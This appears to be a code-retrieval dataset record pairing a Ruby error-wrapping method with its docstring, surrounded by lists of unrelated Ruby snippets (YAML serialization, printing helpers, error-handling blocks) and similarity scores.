\"#{@name.to_s.capitalize}:\\n\"\n @tracks.keys.sort.each do |track_name|\n yaml += \" - #{track_name}:\".ljust(ljust_amount)\n yaml += \"#{@tracks[track_name].rhythm}\\n\"\n end\n \n return yaml\n end", "def to_yaml\n @main.to_yaml\n end", "def paml(x)\n\n puts(YAML.dump(x))\nend", "def print_fixture\n values = columns.sort_by(&:name).each_with_object({}) do |column, memo|\n next if primary_key_column?(column)\n next if timestamp_column?(column)\n memo[column.name] = column.default || \"value\"\n end\n\n hash = { self.name.underscore => values }\n puts hash.to_yaml\n nil\n end", "def to_yaml()\n @var_set.values.to_yaml\n end", "def array_printer(array)\n array.each do | language |\n puts \"Language: #{language.name} | Age: #{language.age} | Type System: #{language.type}\"\n end\nend", "def inspect\n properties.to_yaml\n end", "def to_yaml\n to_h.to_yaml\n end", "def to_yaml\n\t\t\[email protected]{|entry| { :vtresult => entry } }.to_yaml\n\t\tend", "def to_yaml\n dump(:x)\n end", "def yaml\n @config.to_yaml\n end", "def to_s\n @content.to_yaml(:indentation => 4)\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_h.to_yaml\n end", "def to_yaml_s\n fail '@key is empty' if \"#{@key}\".empty?\n\n x = \"=== #{@key} ===\\n\"\n x += \"#{(description || 'FIXME: NO DESCRIPTION GIVEN')}\\n\"\n\n # comment every line that describes the item:\n x = x.each_line.map{ |y| \"# #{y}\" }.join\n\n # add yaml (but stripped of frontmatter and first indent)\n # TODO: should we be using SafeYAML? http://danieltao.com/safe_yaml/\n x += { @key => @value }.to_yaml.gsub(/^---\\s*\\n/m, '').gsub(/^ /, '' )\n x += \"\\n\"\n\n if @skip_yaml\n x.gsub( /^/, '### ' )\n else\n x\n end\n end", "def to_yaml\n self.to_h.to_yaml\n end", "def to_yaml\n self.to_h.to_yaml\n end", "def dump_file(array)\n # flush to YAML file\n File.open(File.dirname(__FILE__) + \"/ars_dump.yml\", \"a\") do |file|\n puts \"review_buffer: #{array.size} || reviews: #{self.reviews.size} || page_count: #{self.limit_count}\"\n array.each do |review|\n file.puts YAML::dump(review)\n end\n end\n end", "def minimal_yaml(prop, spaces)\n [\n \"#{Google::StringUtils.underscore(prop.name)}:\",\n indent(\n [\n 'description:',\n # + 8 to compensate for name + description.\n indent(bullet_lines(prop.description, spaces + 8), 4)\n ], 4\n )\n ]\n end", "def print(arr_name)\n\ti = 0\n\twhile i < arr_name.length \n\t\tputs \"#{i+1}: #{arr_name[i][:names]} (#{arr_name[i][:cohort]} cohort), #{arr_name[i][:hobbies]} hobbies\"\n\t\ti += 1\n\tend\nend", "def to_s\n puts @name\n puts @vcenter.to_yaml\n puts @components.to_yaml\n puts @nodenameconvention.to_yaml\n end", "def show(arr, desc)\n printf \"%20s:\", desc;\n arr.each { |v| printf \" %d\", v }\n printf \"\\n\";\nend", "def yaml(object) \n title = split(object)\n category = split(object, 1)\n ret = ''\n \n ret += '---' + \"\\n\"\n ret += \"layout: styleguide\" + \"\\n\"\n ret += \"title: #{title.capitalize}\" + \"\\n\"\n ret += \"category: #{category}\" + \"\\n\"\n ret += \"scss: _#{title}.scss\" + \"\\n\"\n ret += '---' + \"\\n\"\n \n ret\n end", "def to_yaml\n @attributes.to_yaml\n end", "def dump(io)\n @config.keys.select {|s| String === s}.sort.each do |k|\n v = @config[k]\n case v\n when Array\n io.puts \"#{k}=#{v.join ' '}\"\n else\n io.puts \"#{k}=#{v}\"\n end\n end\n end", "def to_yaml\n as_yaml.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n self.to_h.deep_stringify_keys.compact.to_yaml\n end", "def output(data = {}, indent = 0)\n case @options['format']\n when 'json'\n puts JSON.pretty_generate(data)\n when 'yaml'\n puts data.to_yaml\n else\n # rubocop:disable Metrics/BlockNesting\n if data.class == Hash\n data.each do |k, v|\n if v.class == Hash || v.class == Array\n puts \"#{' ' * indent}#{k.nil? ? 'nil' : k}:\"\n output(v, indent + 2)\n else\n puts \"#{' ' * indent}#{k.nil? ? 'nil' : k}: #{v.nil? ? 'nil' : v}\"\n end\n end\n elsif data.class == Array\n data.each do |d|\n if d.class == Hash || d.class == Array\n output(d, indent + 2)\n else\n puts \"#{' ' * indent}#{d.nil? ? 'nil' : d}\"\n end\n end\n puts \"\\nTotal: #{data.size}\" if indent < 1\n else\n puts \"#{' ' * indent}#{data.nil? ? 'nil' : data}\"\n end\n # rubocop:enable Metrics/BlockNesting\n end\n end", "def print_array my_array\n\t\tp my_array\n\tend", "def values\n @yaml.values\n end", "def printer(array)\n\tbatch_badge_creator(array).each do |badge_list|\n\t\tputs badge_list\n\tend\n\n\tassign_rooms(array).each do |rooms|\n\t\tputs rooms\n\tend\nend", "def print_layout # rubocop:disable Metrics/MethodLength\n [{ code: :property_details, # section code\n divider: true, # should we have a section divider\n key: :title, # key for the title translation\n key_scope: %i[returns lbtt_properties about_the_property], # scope for the title translation\n display_title: true, # Is the title to be displayed\n type: :list, # type list = the list of attributes to follow\n list_items: [{ code: :lau_code, lookup: true },\n { code: :full_title_number, action_name: :print },\n { code: :full_parent_title_number },\n { code: :ads_due_ind, lookup: true, when: :flbt_type, is: ['CONVEY'] }] },\n { code: :address,\n key: :title, # key for the title translation\n key_scope: %i[returns lbtt_properties property_address], # scope for the title translation\n type: :object }]\n end", "def dump_summary(*args)\n output.puts super(*args).to_yaml\n output.puts \"...\"\n end", "def to_yaml(options = {})\n to_a(options).to_yaml\n end", "def to_yaml\n to_parsed.to_yaml\n end", "def dump\n result = ''\n result << \"#{lanes}\\n\"\n result << \"#{cars}\\n\"\n result << \"#{rounds}\\n\"\n chart.each do |heat|\n result << heat.join(' ') << \"\\n\"\n end\n result\n end", "def to_yaml\n to_hash.to_yaml\n end", "def yaml_dump(val)\n yml = \"\\n\" + YAML.dump(val)\n yml.gsub(/ +\\n/, \"\\n\")\n end", "def to_yaml(file=nil)\n hsh = to_hash\n string = hsh.to_yaml\n if file\n File.open(file, 'w') {|v| v.print string }\n end\n string\n end", "def preetify\n preety_print do |instance|\n instance['users'].each_with_index do |user, index|\n puts \"user_#{index}\".to_s.ljust(30) + user['name'].to_s\n end\n\n instance['tickets'].each_with_index do |ticket, index|\n puts \"ticket_#{index}\".to_s.ljust(30) + ticket['subject'].to_s\n end\n end\n end", "def to_yaml\n kitchen_config.to_yaml.gsub(/---[ \\n]/, '')\n end", "def puts_array(array)\n array.each {|item| puts item}\n end", "def printCardArray()\n\t\tprint @cards\n\tend", "def to_yaml\n result = { }\n @result.each{ |nam, infi|\n value = infi.value\n value = value.shift if value.kind_of?(Array) and value.size == 1\n result[nam] = value\n }\n result[:metadata] = metadata\n result = tlog.textfilter.apply(nil, :yaml, result.dup)\n result.to_yaml\n end", "def print\r\n tags.each do |tag|\r\n puts \"#{@@tag_titles[tag]} -> #{value(tag)}\"\r\n end\r\n end", "def display\n @board.each do |key, value|\n puts \"#{key} - #{value}\"\n end\n end", "def to_yaml\n\t\tYAML::dump self.to_hash\n\tend", "def print_event_yml()\n # Parse the event container <aside><div><p>...</p></div></aside>\n # to get the orga dates and names\n allevents = fetch_html()\n allevents.xpath('//aside//div//p').each do |events_chunk|\n\n # # Split array in cohensive elements at once\n # elements = events_chunk.content.split(/\\,\\ |\\.\\ |\\n/)\n\n # # Puts warning\n # elements_yml = \"# Do not edit this list manually, it will be overwritten\\n\"\n # elements_yml = elements_yml + \"# in a couple of hours anyway!\\n\\n\"\n\n # elements_yml = elements_yml + \"events:\\n\"\n # i = 0\n\n # until i >= elements.length do\n # if i != nil and elements[i +3] != nil then\n # # Puts all event names out of elements\n # elements_yml = elements_yml + \" - name: \\\"\" + elements[i + 3] + \"\\\"\\n\"\n # end\n # if i != nil then\n # # Puts all event dates out of elements\n # puts elements[i + 2] + \":\" + elements[i + 1]\n # begin\n # elements_yml = elements_yml + Date.new(2018,elements[i + 2].to_i,elements[i + 1].to_i).strftime(\" date: \\\"%b %d, %Y\\\"\\n\")\n # rescue ArgumentError\n # end\n # end\n # if i != nil then\n # # Puts all event background colors\n # elements_yml = elements_yml + \" background: \\\"\" + gen_color() + \"\\\"\\n\"\n # end\n # i += 4;\n # end\n # return elements_yml\n end\nend", "def format_as_yaml\n\t\tobjects = {}\n\t\tself.instance_variables.each do |k|\n\t\t\tobjects[k.to_s.gsub('@','')] = instance_eval(k.to_s)\n\t\tend\n\t\tobjects.delete(\"filename\")\n\t\tobjects.delete(\"previous_file\")\n\t\treturn objects\n\tend", "def print\n blank = \"#{Tty.yellow}[no description]#{Tty.reset}\"\n @descriptions.keys.sort.each do |name|\n description = @descriptions[name] || blank\n puts \"#{Tty.white}#{name}:#{Tty.reset} #{description}\"\n end\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml\n YAML::dump(self)\n end", "def to_yaml\n YAML::dump(self)\n end", "def yaml( *args )\n ::Logging::Layouts::Parseable.yaml(*args)\n end", "def dump_pallets(pallets)\n abort('No matching pallets found.') if pallets.empty?\n\n pallets.each do |p|\n puts '---'\n puts \"# #{p.kind}: #{p.name}\"\n puts p.to_yaml.gsub(' =^.^= ', '   # ')\n end\n end", "def to_yaml\n require 'yaml'\n self.config.to_hash.to_yaml\n end", "def ls\n YAML::Store.new(NIKKI_FILE).transaction do |store|\n entries = store['entries'].last(5)\n entries.each do |entry|\n entry.each do |date, text|\n puts \"#{date}: #{text}\"\n end\n end\n end\n end", "def print(data, level = 0)\n case data\n when Hash\n data.each do |key, value|\n if value.is_a? Enumerable\n string = \"#{indent_string(level)}#{format_key(key)}:\"\n\n if value.empty?\n puts string + ' ' + empty_value(value)\n else\n puts string\n print(value, level + 1)\n end\n else\n puts \"#{indent_string(level)}#{format_key(key)}: #{format_value(value)}\"\n end\n end\n when Array\n data.each do |value|\n if value.is_a? Enumerable\n string = format_key \"#{indent_string(level)}-\"\n if value.empty?\n puts string + ' ' + empty_value(value)\n else\n puts string\n print(value, level + 1)\n end\n else\n puts \"#{indent_string(level)}#{format_key('-')} #{format_value(value)}\"\n end\n end\n else\n puts \"#{indent_string(level)}#{format_value(data)}\"\n end\n end", "def pretty_print_nds(nds)\npp nds\nend", "def pretty_print_nds(nds)\npp nds\nend", "def pretty_print_nds(nds)\npp nds\nend", "def pretty_print_nds(nds)\n pp nds\n end", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def to_yml outfile, arr = @arr\n require 'yaml'\n # cannot just convert / to __ in filename since path gets converted too\n #if outfile.index(\"/\")\n #outfile = outfile.gsub(\"/\",\"__\")\n #end\n File.open(outfile, 'w' ) do |f|\n f << YAML::dump(arr)\n end\n end", "def print_arrays(data, cols)\n formatted_list = cli.list(data, :uneven_columns_across, cols)\n cli.say(formatted_list)\n end", "def pretty_print_nds(nds)\n #写了binding.pry再learn=>会导致running停在这里,这时候打nds就可以看到它的具体数据\n=begin [{:name=>\"Stephen Spielberg\",WhenUsingPpToDisplayComplexDataStructures>)> nds\n :movies=>\n [{:title=>\"Jaws\",\n :studio=>\"Universal\",\n :worldwide_gross=>260000000,\n :release_year=>1975},\n {:title=>\"Close Encounters of the Third Kind\",\n :studio=>\"Columbia\",\n :worldwide_gross=>135189114,\n :release_year=>1977},\n {:title=>\"Raiders of the Lost Ark\",\n :studio=>\"Paramount\",\n=end\n#nil =>这个是原来存在的,要把这个改了\n pp nds # Change the code below to pretty print the nds with pp\n #这边也可以是pp directors_database,因为数据在那个DB里面\nend", "def to_yaml(indent_space_count = 0)\n yaml = \"\"\n longest_label_mapping_length =\n @label_mappings.keys.inject(0) do |max_length, name|\n (name.to_s.length > max_length) ? name.to_s.length : max_length\n end\n\n if @label_mappings.length > 0\n yaml += \" \" * indent_space_count + \"Kit:\\n\"\n ljust_amount = longest_label_mapping_length + 1 # The +1 is for the trailing \":\"\n @label_mappings.sort.each do |label, path|\n yaml += \" \" * indent_space_count + \" - #{(label + \":\").ljust(ljust_amount)} #{path}\\n\"\n end\n end\n \n return yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def to_yaml\n YAML::dump(self)\n end", "def print_config\n self.config_to_hash.each { |k, v| puts \"#{k}: #{v}\" }\n end", "def inspect\n return if @arr.empty?\n w = @arr.compact.collect { |row| row.size }.max\n result = \"\\n \" \n w.times do |y|\n result += '%3d'%y\n end\n result += \"\\n\"\n @arr.each_index do |x|\n result += '%3d:'%x\n if @arr[x]\n @arr[x].each do |val|\n result += val.nil? ? ' ' : '%3d'%val\n end\n end\n result += \"\\n\"\n end\n result\n end", "def to_yaml\n {:drops => drops.collect(&:to_hash)}.to_yaml\n end", "def to_yaml\n\t\tYAML.dump self.export\n\tend", "def print\n pp @board.map{|r| r.map { |c| c.class.to_s }}\n end", "def to_yaml_type \n YAML_TYPE\n end", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def pretty_print_nds(nds)\n pp nds\nend", "def all\n resort_array\n puts '-' * @title.length\n puts @title\n puts '-' * @title.length\n\n print_group(TodoItem, ['', 'Todo', 'Due', 'Priority'])\n print_group(EventItem, ['', 'Event', 'Start', 'End'])\n print_group(LinkItem, ['', 'Link', 'Site Name'])\n end", "def display_exemple\n @array.each_with_index do |element, index|\n \tif index < @array.count-1 \n \t\tputs \"(data : #{element.value}) --> #{element.next_node.value}\"\n \telse\n \t\tputs \"(data : #{element.value}) --> #{element.next_node}\"\n \tend\n end\n end", "def to_yaml\n classes = self.classes.to_a\n if self.parameters.empty? # otherwise to_yaml prints \"parameters: {}\"\n parameters = nil\n else\n parameters = self.parameters\n end\n ({ 'classes' => classes, 'parameters' => parameters, 'environment' => environment}).to_yaml\n end", "def to_yaml\n YAML.dump ({\n :name => @name,\n :age => @age,\n :gender => @gender\n })\n end", "def output\n\tputs \" #{@array_map[0][0]} | #{@array_map[0][1]} | #{@array_map[0][2]} \" \n\tputs \"------------\"\n\tputs \" #{@array_map[1][0]} | #{@array_map[1][1]} | #{@array_map[1][2]} \"\n\tputs \"------------\"\n\tputs \" #{@array_map[2][0]} | #{@array_map[2][1]} | #{@array_map[2][2]} \"\n\tend", "def print_dictionary\n output = ''\n for key, value in @strings\n output << \"====================\\n\"\n output << \"#{key}\\n\"\n output << \"--------------------\\n\"\n output << \"#{value}\\n\"\n end\n puts output\n end", "def print_board\n @board.each_slice(1) { |a| p a }\n puts\"\\n\"\n end" ]
[ "0.70132124", "0.66674596", "0.665657", "0.6487097", "0.63716704", "0.63599616", "0.633203", "0.633203", "0.6286116", "0.6279139", "0.6245281", "0.62150383", "0.6193655", "0.616709", "0.6161458", "0.6160394", "0.61015743", "0.60969007", "0.60808796", "0.6066709", "0.6015362", "0.6012175", "0.6011247", "0.59982306", "0.59982306", "0.5996812", "0.59927315", "0.59869224", "0.5975874", "0.593459", "0.593083", "0.59105957", "0.5900082", "0.5896966", "0.588834", "0.588834", "0.5849429", "0.5846994", "0.58464104", "0.5840652", "0.5830332", "0.5809387", "0.5803139", "0.576558", "0.57524526", "0.5746744", "0.5746571", "0.57409567", "0.5736569", "0.5734791", "0.5724824", "0.5707332", "0.5707086", "0.57039946", "0.5694956", "0.56929314", "0.5641086", "0.5632666", "0.5625056", "0.5612833", "0.5602929", "0.5602929", "0.5602929", "0.5602102", "0.5589298", "0.55842865", "0.5571963", "0.5569808", "0.5569085", "0.5569085", "0.5569085", "0.5552782", "0.5543869", "0.5543869", "0.5541053", "0.55392593", "0.5537699", "0.553134", "0.5523927", "0.5523927", "0.55229515", "0.55226856", "0.5521011", "0.551988", "0.5514546", "0.55078465", "0.5493753", "0.54921806", "0.54921806", "0.54921806", "0.54921806", "0.54921806", "0.54921806", "0.5489792", "0.548449", "0.54815745", "0.54713905", "0.54697996", "0.5469518", "0.5466692" ]
0.7932858
0
Custom name so all handlers share the same redis namespace
def name "hipchat-extensions" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def redis_prefix\n @redis_prefix ||= name.underscore\n end", "def handler_base_namespace; end", "def redis_key\n self.class.redis_key(@name)\n end", "def name_prefix; end", "def redis_namespace(server)\n return redis_server(server) if redis_namespace_disabled?\n\n ::Redis::Namespace.new 'hari', redis: redis_server(server)\n end", "def register_handler_namespace(type, ns); end", "def create_unique_handler_name(string)\n begin\n int = (10000*rand).round\n handler_name = \"#{NAMESPACE}.#{string}_#{int}\"\n end while @handlers.include?(handler_name)\n return handler_name\n end", "def register_space\n Server.redis do |c|\n c.sadd(\"#{QPush::Base::KEY}:namespaces\", @config.namespace)\n end\n end", "def name\n (@name ||= namespace).to_s.underscore.symbolize\n end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def namespace(key)\n if @namespace\n yield interpolate(key)\n else\n # This Redis::Store instance does not use a namespace so we should\n # just pass through the key.\n yield key\n end\n end", "def redis_channel_name\n\t\t\t@redis_channel_name ||= \"#{File.basename($0, '.*')}_Redis_Channel\"\n\t\tend", "def prefix\n \"#{name}::\"\n end", "def initialize(name)\n @redis_key = name\n end", "def reids_key(event_id)\n \"#{redis_prefix}-event-#{event_id}\"\n end", "def handler_name\n module_info['HandlerName']\n end", "def __name__\n ɴ = self.class.__instances__[ self ]\n namespace.name_get_hook.( ɴ ) if ɴ\n end", "def namespace(name = nil)\n if name\n super\n else\n @namespace ||= super.chomp(\"_command\").sub(/:command:/, \":\")\n end\n end", "def name_prefix=(_arg0); end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def __prefix__\n __name__.demodulize.underscore.dasherize.to_sym\n end", "def name_prefix\n singleton ? '::' : '#'\n end", "def name_prefix\n @singleton ? '::' : '#'\n end", "def name()\n \"TestStorageHandler\"\n end", "def route_name_prefix prefix\n @route_name_prefix = prefix\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def name\n map_to_namespace(@name)\n end", "def from_namespace(namespace, &block)\n original_namespace = Resque.redis.namespace\n Resque.redis.namespace = namespace\n\n yield if block_given?\nensure\n Resque.redis.namespace = original_namespace\nend", "def redis_alias_key alias_name \n self.class.generate_alias_key(alias_name, to_arg)\n end", "def name_key\n return base_key + \".name\"\n end", "def redis_key_for(id)\n \"#{redis_prefix}:#{Array(id).join(':')}\"\n end", "def name=( ɴ )\n old_ɴ = namespace.__instances__[ self ] # previous name\n if ɴ then # puts \"NameMagic: Naming with argument #{ɴ}.\" if DEBUG\n ɴ = namespace.send( :validate_name, # honor the hook\n namespace.name_set_hook.( ɴ, self, old_ɴ ) ).to_sym\n # puts \"NameMagic: Name adjusted to #{ɴ}.\" if DEBUG\n return if old_ɴ == ɴ # already named as required\n fail NameError, \"Name '#{ɴ}' already exists in #{namespace} namespace!\" if\n self.class.__instances__.rassoc( ɴ )\n namespace.const_set ɴ, self # write a constant\n namespace.__instances__[ self ] = ɴ # write to @instances\n namespace.__forget__ old_ɴ # forget the old name of self\n else # puts \"NameMagic: Unnaming #{old_ɴ || self}\" if DEBUG\n namespace.__instances__.update( self => nil ) # unname in @instances\n namespace.send :remove_const, old_ɴ if old_ɴ # remove namespace const.\n end\n end", "def connection_handler_for(name)\n @cache.fetch(name.to_sym) do\n fail UnknownShardError, \"#{name.inspect} is not a valid shard name\"\n end\n end", "def full_name\n \"#{namespace.name || namespace.inspect}::#{namespace.instances[ self ]}\"\n end", "def key\n name = self.class.name.split(\"::\").last\n Util.underscore(name).to_sym\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def prefix\n \"#{definition_set.global_events_prefix}#{number}_\"\n end", "def extend_name!(obj)\n obj.set_name!((self.name.to_s + \"::\" + obj.name.to_s).to_sym)\n end", "def handler_sym(persp=:default)\n str = if persp == :default\n self.xml_element\n else\n [self.xml_element, persp].map(&:to_s).join('_')\n end\n str = \"#{str}_received\" \n str.to_sym\n end", "def lookup_silo_name\n return \"#{self.name.gsub('::', '__')}_dict\"\n end", "def redis_on_base\n on_base\n end", "def namespaced_key(key)\n \"#{@namespace}_#{key}\"\n end", "def disable_redis_namespace!\n @redis_namespace_disabled = true\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def rate_limit_redis_key\n return @rate_limit_redis_key if @rate_limit_redis_key\n\n timestamp = Time.now\n timestamp = timestamp.to_i - timestamp.sec\n @rate_limit_redis_key =\n \"jira_handler_rate_limit::#{@event['check']['name']}::#{timestamp}\"\n end", "def prefix\n self.class.prefix\n end", "def method_missing(method_symbol, *args, &blk)\n redis.send(method_symbol, *args, &blk)\n end", "def key(uri, options)\n [self.class.name, uri]\n end", "def []( name )\n _handlers[name]\n end", "def key\n \"#{@@PREFIX}#{@name.gsub(\" \",\"-\")}\"\n end", "def namespace\n \"#{database.name}.#{name}\"\n end", "def namespace\n \"#{database.name}.#{name}\"\n end", "def redis_key\n return \"rlt:#{@template_name}\"\n end", "def cache_name\n self.name.methodize\n end", "def name\n handle\n end", "def namespace name\n declare_namespace(resource, name.intern)\n end", "def namespace(name, opts = {}, &block)\n raise MissingBlock, :namespace unless block_given?\n\n namespaces << name\n\n create_method(name) do\n key = \"@#{name}\"\n\n if instance_variable_defined?(key)\n ns = instance_variable_get(key)\n else\n ns = instance_variable_set(key, {})\n end\n\n unless ns[current_handler]\n mod = Module.new do\n class << self\n attr_accessor :current_handler\n end\n extend ActionMethods\n end\n\n mod.current_handler = current_handler\n\n mod.instance_eval(&block)\n\n klass = \"#{self.name}::#{current_handler.to_s.camelize}::#{name.to_s.camelize}\"\n klass_opts = with_handler.config.merge(opts)\n ns[current_handler] = Runner.new(name, klass.constantize, mod, klass_opts)\n end\n\n ns[current_handler]\n end\n end", "def name\n \"#{self[:interface]} #{self[:sid]}\"\n end", "def set_current_handler(name)\n @current_handler = name\n end", "def key\n name.underscore.tr('/', '_').to_sym\n end", "def exchange_naming\n @exchange_naming ||= if @worker_class\n Hightops::Naming::CommonExchange.new\n else\n Hightops::Naming::SharedExchange.new(tag: @tag)\n end\n end", "def node_name\n name = self.class.name.gsub(/^.*::/, '')\n name.gsub!(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2')\n name.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n name.downcase!\n name\n end", "def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end", "def service_key\n (is_a?(Module) ? name : self.class.name).demodulize.underscore.to_sym\n end", "def local_name; connection_space.name end", "def handler_base_class; end", "def global_prefix\n self.class.global_prefix\n end", "def namespace(name)\n @namespaces.push Namespace.new(name, @namespaces.last)\n yield\n @namespaces.pop\n end", "def exchange_name\n \"#{worker_class_name}_#{job_method}\".downcase\n end", "def method_missing(sym, *_args)\n if sym.to_s.starts_with?(HANDLE_PREFIX)\n called_callback(sym.to_s[HANDLE_PREFIX.size..-1].to_sym)\n else\n super\n end\n end", "def name\n self.connection.name\n end", "def __name__\n { 'Hostname' => @name, 'Domainname' => domain }\n end", "def log_prefix\n \"Maxretry handler [queue=#{@worker_queue_name}]\"\n end", "def namespace\n @namestack.join(\"::\")\n end", "def method_prefix\n if singleton_class?\n if Module === singleton_instance\n \"#{WrappedModule.new(singleton_instance).nonblank_name}.\"\n else\n \"self.\"\n end\n else\n \"#{nonblank_name}#\"\n end\n end", "def redis_pool; end", "def name\n \"#{self[:host]}\"\n end", "def route_name_prefix\n super + \"_#{category_name}\"\n end", "def name\n @config.db_name.gsub(/@thismachinehostname@/, Socket.gethostname).\n gsub(/@prefix@/, prefix)\n end", "def prefix!(prefix=\"DEFAULT\")\n @session.chanserv.set(self.name, :prefix, prefix)\n end", "def name\n \"#{connection.class.name}/#{path}\"\n end", "def name; Common.name(@handle); end", "def consume_name; end", "def name_swap(real_name)\n\tnew_name = name_handler(real_name)\n puts new_name\n return new_name\nend", "def config prefix = nil, &block\n self.prefix = prefix ||\n (respond_to?(:name) ? self : self.class).\n name.split(\"::\").last.downcase.to_sym\n\n instance_eval(&block) if block_given?\n end", "def bin_sym\n @underscored_name ||= name.split('::').last.gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').downcase.to_sym\n end", "def redis_channel_name=val\n\t\t\treturn false unless defined? Redis\n\t\t\traise \"Can't change channel name after Redis subscription had been initiated.\" if @redis\n\t\t\t@redis_channel_name = val\n\t\tend", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def prefix; end", "def redis=(server)\n if server.is_a? String\n if server =~ /redis\\:\\/\\//\n redis = Redis.connect(:url => server)\n else\n server, namespace = server.split('/', 2)\n host, port, db = server.split(':')\n redis = Redis.new(:host => host, :port => port,\n :thread_safe => true, :db => db)\n end\n namespace ||= :related\n @redis = Redis::Namespace.new(namespace, :redis => redis)\n elsif server.respond_to? :namespace=\n @redis = server\n else\n @redis = Redis::Namespace.new(:related, :redis => server)\n end\n end", "def redis_pool=(_arg0); end", "def nombre sym\n Object.const_set sym, self #Se crea una constante para referir al trait\n end", "def key_for_cached\n [ @options[:namespace], MD5.hexdigest(@url) ].join('_')\n end" ]
[ "0.69133663", "0.6507947", "0.60909444", "0.60702807", "0.60030454", "0.59738916", "0.5914669", "0.5798597", "0.5797816", "0.5778289", "0.5753019", "0.57368135", "0.57074064", "0.56458944", "0.5644715", "0.5625806", "0.5612596", "0.5596967", "0.5583574", "0.5552245", "0.5552015", "0.555192", "0.55162364", "0.55128914", "0.5497797", "0.54886955", "0.54784673", "0.54661113", "0.546053", "0.5450454", "0.543492", "0.541807", "0.5409969", "0.54069954", "0.54005986", "0.53960544", "0.53947145", "0.53756905", "0.5369139", "0.5363459", "0.5359778", "0.53585666", "0.5337457", "0.531935", "0.53144085", "0.5306112", "0.5304655", "0.5301371", "0.52981925", "0.5291313", "0.5288855", "0.5288855", "0.52876866", "0.5287258", "0.5287223", "0.52816135", "0.5271582", "0.52684397", "0.52634794", "0.5222743", "0.52210003", "0.5219287", "0.5211047", "0.5211047", "0.5210074", "0.52089006", "0.5208048", "0.52055085", "0.5201091", "0.5197023", "0.5185496", "0.51833487", "0.51805156", "0.51702845", "0.5164304", "0.51619315", "0.51545316", "0.5153559", "0.5152303", "0.5148829", "0.51481277", "0.5146944", "0.5144412", "0.51436645", "0.51418597", "0.5138153", "0.51217633", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.510772", "0.5100648", "0.5100218", "0.5088412", "0.50853914" ]
0.0
-1
Wraps a block catching errors and logging / replying to the source, when they happen before reraising them
def wrapping_errors(response=nil, &block) begin yield if block_given? rescue StandardError => e "Oh noes, #{e.message}".tap do |message| log.error message response.reply message if response end e.backtrace.each { |t| e.debug t } raise e end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _catch_warden(&block); end", "def wrap_stream_error_handling\n error_context = capture_context\n proc do |csv|\n yield(csv)\n rescue StandardError => e\n CaptureError.log_error(e)\n CaptureError.capture(e, error_context)\n raise e\n end\n end", "def on_error(&block)\n @@error_block = block\n end", "def errback(&block)\n super do |*args|\n safe_deferrable_block(*args, &block)\n end\n end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def safely(&block)\r\n begin\r\n yield\r\n rescue Exception => e\r\n if e.message =~ /connection was aborted/\r\n puts \" [yp searcher] Error: #{e} #{e.message}. Continuing.\"\r\n end\r\n end\r\n end", "def capture(&block)\n if block\n begin\n block.call\n rescue Error => e\n raise # Don't capture Opbeat errors\n rescue Exception => e\n self.captureException(e)\n raise\n end\n else\n # Install at_exit hook\n at_exit do\n if $!\n logger.debug \"Caught a post-mortem exception: #{$!.inspect}\"\n self.capture_exception($!)\n end\n end\n end\n end", "def safe_call# (&block)\n yield\n rescue Sunra::Utils::Recording::DBProxy::DBProxyError,\n Sunra::Recording::RecorderManager::RecorderError,\n APIError => e\n _error e\n end", "def try_operation(&block)\n log = \"\"\n begin\n yield(log)\n rescue Exception => e\n log << e.message + '\\n'\n success = false\n return success, log\n end\nend", "def render_or_pass(&block)\n begin yield\n rescue Exception => e\n logger.error e.message\n pass\n end\n end", "def try(&block)\n begin\n yield\n rescue Errno::ETIMEDOUT, Timeout::Error, Net::HTTPNotFound\n log \"Connection Error\"\n rescue Exception => exc\n log exc.message\n log exc.backtrace\n end\n end", "def catch_simple\n begin\n yield\n rescue => e\n Rails.logger.info e.message\n end\n end", "def on_error(&block)\n if block_given?\n @on_error = block\n self\n else\n @on_error\n end\n end", "def try &bk\n yield\n rescue Exception => ex\n ex\n end", "def with_error_handling\n yield\n rescue => error\n report_error(error)\n Process.exit(false)\n end", "def yield_rescued\n begin\n yield\n rescue Exception => e\n MONITORING_LOG.error e\n end\n end", "def errback &block\n super\n end", "def errback &block\n super\n end", "def do_yield(&block)\n begin\n block.call\n rescue Exception => e\n puts \"Exception! #{e.to_s}\"\n Rails.logger.error \"Caught exception: #{e.to_s}\"\n raise e\n end\n end", "def on_error(&block)\n @on_error = block\n end", "def log_error(&block)\n return if @logger.nil?\n @logger.error(yield)\n end", "def on_error(&a_proc)\n @@error_block = a_proc\n end", "def wrap\n old_enabled, old_inline = enabled, inline\n self.inline = false\n self.enabled = true\n yield\n rescue Exception => ex\n if ex.should_intercept?\n enter_exception(ex)\n else\n raise ex\n end\n ensure\n self.enabled = old_enabled\n self.inline = old_inline\n end", "def error_hander\n @error_block\n end", "def log_on_error\n 